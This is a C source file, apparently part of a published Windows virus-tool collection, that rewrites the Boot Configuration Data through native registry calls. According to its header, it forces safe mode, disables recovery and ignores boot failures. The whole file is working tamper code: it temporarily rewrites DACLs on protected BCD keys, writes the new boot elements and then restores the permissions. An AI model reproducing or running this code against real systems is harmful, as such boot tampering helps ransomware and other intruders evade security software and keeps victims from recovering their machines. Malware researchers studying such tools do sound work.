VXUG-Papers/Win64.VirTool.BCDEdit/bcdutil.c

497 lines
13 KiB
C

/**
* @file bcdutil.c
* @author Paul L. (@am0nsec)
* @version 1.0
* @brief Modify boot configuration to enable safe mode, disable recovery and ignore all failure.
* @details
* @link https://github.com/am0nsec/vx
* @copyright This project has been released under the GNU Public License v3 license.
*/
#include "bcdutil.h"
#include <Ole2.h>
#include <aclapi.h>
_Use_decl_annotations_ NTSTATUS
BcdGetDefaultBootObject(
_Out_ PHKEY phWindowsBootMgrDefaultObj
) {
// 1. Open handle to HKLM
HKEY hLocalMachine = INVALID_HANDLE_VALUE;
EXIT_ON_ERROR(BcdOpenKeyByName(
L"\\Registry\\Machine",
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_SET_VALUE | KEY_CREATE_SUB_KEY),
NULL,
&hLocalMachine
));
// 2. Find the BCD sub key
HKEY hBCD = INVALID_HANDLE_VALUE;
LPWSTR wszBcdSubKeyFragment = NULL;
DWORD dwzBcdSubKeyFragment = 0x00;
EXIT_ON_ERROR(BcdpGetSubKeyByPattern(
&hLocalMachine,
L"BCD",
(CONST DWORD)0x03,
&wszBcdSubKeyFragment,
&dwzBcdSubKeyFragment
));
// 3. Open handle to the new BCD sub key
EXIT_ON_ERROR(BcdOpenKeyByName(
wszBcdSubKeyFragment,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
&hLocalMachine,
&hBCD
));
HeapFree(GetProcessHeap(), 0x00, wszBcdSubKeyFragment);
// 4. Open handle to the new Objects sub key
HKEY hBCDObjects = INVALID_HANDLE_VALUE;
EXIT_ON_ERROR(BcdOpenKeyByName(
L"Objects",
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
&hBCD,
&hBCDObjects
));
// 5. Open handle to the Windows boot manager
HKEY hWindowsBootMgr = INVALID_HANDLE_VALUE;
EXIT_ON_ERROR(BcdOpenKeyByName(
GUID_WINDOWS_BOOTMGR,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
&hBCDObjects,
&hWindowsBootMgr
));
// 6. Open handle tot the Elements of the Windows boot manager
HKEY hWindowsBootMgrElements = INVALID_HANDLE_VALUE;
EXIT_ON_ERROR(BcdOpenKeyByName(
BCD_ELEMENTS,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
&hWindowsBootMgr,
&hWindowsBootMgrElements
));
// 7. Open an handle to the default object and get the value.
HKEY hWindowsBootMgrDefaultObj = INVALID_HANDLE_VALUE;
EXIT_ON_ERROR(BcdOpenKeyByName(
BCDE_BOOTMGR_TYPE_DEFAULT_OBJECT,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
&hWindowsBootMgrElements,
&hWindowsBootMgrDefaultObj
));
// 8. Open an handle to the default boot object
LPWSTR wszWindowsBootMgrDefaultObj = NULL;
DWORD dwWindowsBootMgrDefaultObj = 0x00;
EXIT_ON_ERROR(BcdpQueryValueByName(
L"Element",
&hWindowsBootMgrDefaultObj,
REG_SZ,
&wszWindowsBootMgrDefaultObj,
&dwWindowsBootMgrDefaultObj
));
// 9. Get the GUID of the default object
EXIT_ON_ERROR(BcdOpenKeyByName(
wszWindowsBootMgrDefaultObj,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
&hBCDObjects,
phWindowsBootMgrDefaultObj
));
HeapFree(GetProcessHeap(), 0x00, wszWindowsBootMgrDefaultObj);
// Cleanup and return
NtClose(hLocalMachine);
NtClose(hBCD);
NtClose(hBCDObjects);
NtClose(hWindowsBootMgr);
NtClose(hWindowsBootMgrElements);
NtClose(hWindowsBootMgrDefaultObj);
return STATUS_SUCCESS;
}
_Use_decl_annotations_ NTSTATUS
BcdModifyBootConfiguration(
_In_ CONST PHKEY phKey,
_In_ CONST LPWSTR wszKey,
_In_ LPVOID pData,
_In_ ULONG ulData
) {
if (phKey == NULL || wszKey == NULL || pData == NULL || ulData == 0x00)
return STATUS_UNSUCCESSFUL;
// 1. Check if key already exist otherwise create a new one
HKEY hObject = INVALID_HANDLE_VALUE;
NTSTATUS Status = BcdOpenKeyByName(
wszKey,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
phKey,
&hObject
);
if (Status == STATUS_OBJECT_NAME_NOT_FOUND) {
// 1.1. Change the DACL to have write permissions
RETURN_ON_ERROR(BcdpChangeObjectPermission(
phKey,
(KEY_CREATE_SUB_KEY | KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL)
));
// 1.2. Create the key
RETURN_ON_ERROR(BcdpCreateKey(
wszKey,
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_SET_VALUE),
phKey,
&hObject
));
// 1.3. Revert the permissions
RETURN_ON_ERROR(BcdpChangeObjectPermission(
phKey,
(KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL)
));
}
// 2. Allow set Windows registry value to the newly created key and open new key
RETURN_ON_ERROR(BcdpChangeObjectPermission(
&hObject,
KEY_SET_VALUE | KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL
));
NtClose(hObject);
RETURN_ON_ERROR(BcdOpenKeyByName(
wszKey,
(KEY_SET_VALUE | READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
phKey,
&hObject
));
// 3. Set the value and change the DACLs to original value
RETURN_ON_ERROR(BcdpSetValue(
BCD_ELEMENT,
&hObject,
pData,
ulData
));
RETURN_ON_ERROR(BcdpChangeObjectPermission(
&hObject,
KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL
));
// Cleanup and return
NtClose(hObject);
return STATUS_SUCCESS;
}
_Use_decl_annotations_ NTSTATUS
BcdAcquireSyncMutant(
_Out_ PHANDLE phHandle
) {
if (phHandle == NULL)
return STATUS_INVALID_PARAMETER;
UNICODE_STRING MutantName = { 0x00 };
RtlInitUnicodeString(&MutantName, L"\\KernelObjects\\BcdSyncMutant");
OBJECT_ATTRIBUTES MutantAttributes = { 0x00 };
InitializeObjectAttributes(
&MutantAttributes,
&MutantName,
OBJ_CASE_INSENSITIVE,
0x00,
0x00
);
return NtOpenMutant(phHandle, 0x100000, &MutantAttributes, FALSE);
}
_Use_decl_annotations_ NTSTATUS
BcdpGetSubKeyByPattern(
_In_ CONST PHKEY phKey,
_In_ CONST LPWSTR wszPattern,
_In_ CONST DWORD dwPatternLength,
_Out_ LPWSTR* wszSubKeyName,
_Out_ PDWORD pdwSubKeyNameLength
) {
if (phKey == NULL
|| wszPattern == NULL
|| pdwSubKeyNameLength == NULL)
return STATUS_INVALID_PARAMETER;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
// Initialise variables and heap memory
DWORD dwIndex = 0x00;
ULONG ulBuffer = 0x100;
PKEY_BASIC_INFORMATION BasicInformation = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulBuffer);
// Parse each entry one by one
while (TRUE) {
ULONG ulReturned = 0x00;
Status = NtEnumerateKey(
*phKey,
dwIndex,
KeyBasicInformation,
(LPVOID)BasicInformation,
ulBuffer,
&ulReturned
);
// Key not found
if (Status == STATUS_NO_MORE_ENTRIES) {
Status = STATUS_UNSUCCESSFUL;
break;
}
// Buffer not large enough to get the basic information
else if (Status == STATUS_BUFFER_TOO_SMALL) {
HeapReAlloc(GetProcessHeap(), 0x00, (LPVOID)BasicInformation, ulReturned);
ulBuffer = ulReturned;
continue;
}
// Checking if it is pattern
if (_wcsnicmp(BasicInformation->Name, wszPattern, (SIZE_T)dwPatternLength) == 0x00) {
*pdwSubKeyNameLength = BasicInformation->NameLength;
*wszSubKeyName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BasicInformation->NameLength);
memcpy_s(
*wszSubKeyName,
BasicInformation->NameLength,
BasicInformation->Name,
BasicInformation->NameLength
);
Status = STATUS_SUCCESS;
break;
}
// Try next entry
RtlZeroMemory(BasicInformation, ulReturned);
dwIndex++;
}
// Cleanup and exit
HeapFree(GetProcessHeap(), 0x00, BasicInformation);
return Status;
}
_Use_decl_annotations_ NTSTATUS
BcdOpenKeyByName(
_In_ CONST LPWSTR wszKeyName,
_In_ ACCESS_MASK AccessMask,
_In_ PHANDLE phDirectory,
_Out_ PHKEY phKey
) {
if (wszKeyName == NULL)
return STATUS_INVALID_PARAMETER;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
// Initialise the UNCIODE_STRING
UNICODE_STRING ObjectName = { 0x00 };
RtlInitUnicodeString(&ObjectName, wszKeyName);
// Initialise the OBJECT_ATTRIBUTES
OBJECT_ATTRIBUTES ObjectAttributes = { 0x00 };
InitializeObjectAttributes(
&ObjectAttributes,
&ObjectName,
OBJ_CASE_INSENSITIVE,
0x00,
0x00
);
if (phDirectory != NULL)
ObjectAttributes.RootDirectory = *phDirectory;
// Try to open the key
*phKey = INVALID_HANDLE_VALUE;
Status = NtOpenKey(
phKey,
AccessMask,
&ObjectAttributes
);
return Status;
}
_Use_decl_annotations_ NTSTATUS
BcdpQueryValueByName(
_In_ CONST LPWSTR wszValueName,
_In_ PHKEY phKey,
_In_ DWORD dwType,
_Out_ LPVOID* ppData,
_Out_ DWORD* pdwData
) {
if (wszValueName == NULL
|| phKey == NULL
|| ppData == NULL
|| pdwData == NULL)
return STATUS_INVALID_PARAMETER;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
// Initialise the UNCIODE_STRING
UNICODE_STRING ObjectName = { 0x00 };
RtlInitUnicodeString(&ObjectName, wszValueName);
// Get buffer ready
ULONG ulReturned = 0x00;
ULONG ulBuffer = 0x100;
PKEY_VALUE_PARTIAL_INFORMATION Information = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulBuffer);
// Get the value
do {
Status = NtQueryValueKey(
*phKey,
&ObjectName,
KeyValuePartialInformation,
(LPVOID)Information,
ulBuffer,
&ulReturned
);
if (NT_SUCCESS(Status))
break;
ulBuffer += 0x100;
Information = HeapReAlloc(GetProcessHeap(), 0x00, Information, ulBuffer);
} while (Status == STATUS_BUFFER_TOO_SMALL);
// Check the data type
if (Information->Type != dwType) {
HeapFree(GetProcessHeap(), 0x00, Information);
return STATUS_UNSUCCESSFUL;
}
// Allocate memory and copy data
*ppData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Information->DataLength);
memmove_s(*ppData, Information->DataLength, Information->Data, Information->DataLength);
*pdwData = Information->DataLength;
// De-allocate memory and return
HeapFree(GetProcessHeap(), 0x00, Information);
return Status;
}
_Use_decl_annotations_
NTSTATUS BcdpCreateKey(
_In_ CONST LPWSTR wszKeyName,
_In_ ACCESS_MASK DesiredAccess,
_In_ PHANDLE phDirectory,
_Out_ PHANDLE phKey
) {
if (wszKeyName == NULL || phKey == NULL)
return STATUS_INVALID_PARAMETER;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
// Initialise the UNCIODE_STRING
UNICODE_STRING ObjectName = { 0x00 };
RtlInitUnicodeString(&ObjectName, wszKeyName);
// Initialise the OBJECT_ATTRIBUTES
OBJECT_ATTRIBUTES ObjectAttributes = { 0x00 };
InitializeObjectAttributes(
&ObjectAttributes,
&ObjectName,
OBJ_CASE_INSENSITIVE,
0x00,
0x00
);
if (phDirectory != NULL)
ObjectAttributes.RootDirectory = *phDirectory;
// Create the key
return NtCreateKey(
phKey,
DesiredAccess,
&ObjectAttributes,
0x00,
NULL,
REG_OPTION_NON_VOLATILE,
NULL
);
}
_Use_decl_annotations_
NTSTATUS BcdpSetValue(
_In_ CONST LPWSTR wszValue,
_In_ PHANDLE phKey,
_In_ PVOID pData,
_In_ ULONG ulData
) {
if (wszValue == NULL || phKey == NULL || pData == NULL || ulData == 0x00)
return STATUS_INVALID_PARAMETER;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
// Initialise the UNCIODE_STRING
UNICODE_STRING ObjectName = { 0x00 };
RtlInitUnicodeString(&ObjectName, wszValue);
Status = NtSetValueKey(
*phKey,
&ObjectName,
0x00,
REG_BINARY,
pData,
ulData
);
return Status;
}
_Use_decl_annotations_
NTSTATUS BcdpChangeObjectPermission(
_In_ CONST PHANDLE phKey,
_In_ DWORD dwPrivileges
) {
if (phKey == NULL)
return STATUS_UNSUCCESSFUL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
// Get the SID of the local Administrators group
PSID AdminSID = NULL;
SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;
if (!AllocateAndInitializeSid(
&SIDAuthNT,
0x02,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&AdminSID
)) {
return STATUS_UNSUCCESSFUL;
}
// Get the current security descriptor of the Windows Registry key
PACL pOldDACL = NULL;
PACL pNewDACL = NULL;
PSECURITY_DESCRIPTOR SecurityDescriptor = NULL;
DWORD dwStatus = GetSecurityInfo(
*phKey,
SE_REGISTRY_KEY,
DACL_SECURITY_INFORMATION,
NULL,
NULL,
&pOldDACL,
NULL,
&SecurityDescriptor
);
if (dwStatus != ERROR_SUCCESS)
return STATUS_UNSUCCESSFUL;
EXPLICIT_ACCESS ea = { 0x00 };
ea.grfAccessPermissions = dwPrivileges;
ea.grfAccessMode = SET_ACCESS;
ea.grfInheritance = NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea.Trustee.TrusteeType = TRUSTEE_IS_GROUP;
ea.Trustee.ptstrName = (LPTSTR)AdminSID;
if (SetEntriesInAcl(1, &ea, pOldDACL, &pNewDACL) != ERROR_SUCCESS)
return STATUS_UNSUCCESSFUL;
if (SetSecurityInfo(*phKey, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS)
return STATUS_UNSUCCESSFUL;
return STATUS_SUCCESS;
}